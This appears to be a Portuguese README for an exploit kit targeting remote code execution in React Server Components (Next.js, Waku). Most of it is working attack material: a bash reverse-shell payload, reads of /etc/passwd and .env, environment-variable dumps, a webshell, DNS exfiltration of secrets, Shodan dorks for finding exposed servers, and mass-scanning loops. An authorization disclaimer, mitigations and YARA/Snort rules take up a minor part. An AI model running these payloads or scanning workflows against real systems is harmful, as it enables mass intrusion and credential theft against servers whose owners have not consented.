
Kit de exploração RCE avançado para vulnerabilidades de React Server Components. Possui múltiplos payloads pré-construídos, integração com Shodan para descoberta de alvos e varredura em massa para testes de penetração autorizados.
Kit de exploração avançado para vulnerabilidades de Execução Remota de Código em React Server Components
Apenas para testes de penetração autorizados e pesquisa de segurança
Recursos • Instalação • Uso • Integração com Shodan • Exemplos • Aviso Legal
Este kit explora uma vulnerabilidade crítica de Execução Remota de Código (RCE) em implementações de React Server Components (RSC), visando especificamente:
A vulnerabilidade aproveita poluição de protótipo e desserialização insegura no mecanismo de manipulação de dados do RSC para alcançar execução arbitrária de código no servidor.
React Server Components usam um formato de serialização personalizado para transferir dados entre cliente e servidor. A vulnerabilidade existe na forma como esses frameworks desserializam e processam payloads especialmente criados.
Cadeia de Ataque:
$X:constructor:constructor para acessar o construtor Function_prefixAtacante → Payload RSC Malicioso → Servidor Alvo
↓
Desserialização Insegura
↓
Acesso à Cadeia de Protótipos
↓
Construtor de Função
↓
⚠️ RCE ALCANÇADA ⚠️
| Payload | Descrição | Caso de Uso |
|---|---|---|
console | PoC básico (console.log) | Verificar vulnerabilidade |
reverseShell | Reverse shell bash | Acesso inicial |
readFile | Ler /etc/passwd | Acesso ao sistema de arquivos |
envDump | Despejar variáveis de ambiente | Extração de credenciais |
execCommand | Executar comandos do sistema | Execução arbitrária de comandos |
webshell | Implantar webshell Express | Acesso persistente |
exfilPackage | Exfiltrar package.json | Análise de dependências |
dnsExfil | Exfiltração DNS (OOB) | Exploração cega |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Opção | Descrição | Obrigatório |
|---|---|---|
--target <url> | URL do alvo | ✅ |
--framework <name> | Framework: next ou waku | ❌ (padrão: next) |
--payload <name> | Nome do payload (veja abaixo) | ✅* |
--custom <code> | Código JavaScript personalizado | ✅* |
--lhost <ip> | Seu IP (para reverse shell) | ❌ |
--lport <port> | Sua porta (para reverse shell) | ❌ |
--command <cmd> | Comando a executar | ❌ |
--endpoint <path> | Endpoint RSC personalizado (Waku) | ❌ |
--action-id <id> | ID next-action personalizado | ❌ |
--list | Listar payloads disponíveis | ❌ |
--verbose | Saída detalhada | ❌ |
--help | Mostrar ajuda | ❌ |
*É necessário --payload ou --custom
Veja todos os payloads:
node rsc-rce-exploit.js --list
Saída:
📋 Payloads disponíveis:
console - PoC básico - Saída no console
Código: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Ler /etc/passwd
Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Despejar variáveis de ambiente
Código: console.log(JSON.stringify(process.env,null,2))
execCommand - Executar comando do sistema
Código: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Escrever webshell em /tmp
Código: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Ler package.json
Código: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - Exfiltração DNS
Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Execute qualquer código JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js básico
http.component:"Next.js"
# Next.js com RSC
http.html:"__next" http.html:"RSC"
# Next.js em modo dev (mais vulnerável)
http.html:"__NEXT_DATA__" http.html:"development"
# Next.js auto-hospedado (não no Vercel)
http.component:"Next.js" -org:"Vercel"
# Segmentado geograficamente (França)
http.component:"Next.js" country:FR
# Combinação final para pentest
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Framework Waku
http.html:"waku" http.html:"RSC"
# Endpoints RSC do Waku
http.path:"/RSC/"
Use o script de automação fornecido:
# Escanear e testar automaticamente
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# Com payload personalizado
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Pesquisar no Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. Testar cada alvo
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testando http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
A ferramenta mass-exploit.js permite testar múltiplos alvos:
# A partir de um arquivo
node mass-exploit.js --file targets.txt --payload console --threads 10
# Do Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Salvar resultados
node mass-exploit.js --file targets.txt --payload console --output results.json
Exemplo para testes de segurança automatizados:
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
Saída Esperada:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Versão Aprimorada ║
║ Execução de Código em React Server Components ║
╚═══════════════════════════════════════════════════════════╝
[*] Iniciando exploração...
[*] Mirando endpoint RSC do Next.js...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Status da resposta: 200
[+] Corpo da resposta:
50
[*] Exploração concluída!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
Resultado:
process.env# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Executar exploit
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# Acessar webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Configurar Burp Collaborator ou seu servidor DNS
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Ler arquivos sensíveis
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
Atualizar o Framework
npm install next@latest
# or
npm install waku@latest
Validar Entrada
// Validar todos os payloads RSC
function validateRSCPayload(payload) {
// Implementar validação rigorosa
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
Política de Segurança de Conteúdo
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
Desabilitar RSC em Produção (se não for necessário)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-actionRegra YARA:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Regra Snort:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| Faixa de Versão | Status | Notas |
|---|---|---|
| < 13.4.0 | ✅ Não Afetado | RSC não ativado por padrão |
| 13.4.0 - 13.4.19 | ⚠️ VULNERÁVEL | RCE Crítica |
| 13.5.0 - 14.0.4 | ⚠️ VULNERÁVEL | RCE Crítica |
| 14.1.0 | ⚠️ VULNERÁVEL | Mitigação parcial |
| >= 14.1.1 | ✅ Corrigido | Atualização recomendada |
| Faixa de Versão | Status | Notas |
|---|---|---|
| < 0.18.0 | ⚠️ VULNERÁVEL | RCE Crítica |
| >= 0.18.0 | ✅ Corrigido | Atualização recomendada |
Contribuições são bem-vindas! Siga estas diretrizes:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)⚠️ AVISO LEGAL ⚠️
Este kit é fornecido APENAS PARA TESTES DE SEGURANÇA E PESQUISA AUTORIZADOS.
Ao usar este software, você concorda em:
1. Testar apenas sistemas que você possui ou tem permissão explícita por escrito para testar
2. Cumprir todas as leis locais, estaduais, nacionais e internacionais aplicáveis
3. Não usar esta ferramenta para fins maliciosos ou atividades ilegais
4. Aceitar total responsabilidade por suas ações
Os autores e colaboradores:
- NÃO são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta
- NÃO incentivam ou condonam atividade ilegal
- Fornecem esta ferramenta "NO ESTADO EM QUE SE ENCONTRA" sem garantia de qualquer tipo
O ACESSO NÃO AUTORIZADO A SISTEMAS DE COMPUTADOR É ILEGAL.
Os infratores serão processados em toda a extensão da lei sob:
- Computer Fraud and Abuse Act (CFAA) - EUA
- Computer Misuse Act - Reino Unido
- Convenção Europeia de Cibercrime
- E outras leis aplicáveis em sua jurisdição
USE POR SUA CONTA E RISCO.
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
⭐ Se esta ferramenta ajudou na sua pesquisa de segurança, por favor dê uma estrela! ⭐
Feito com ❤️ por pesquisadores de segurança, para pesquisadores de segurança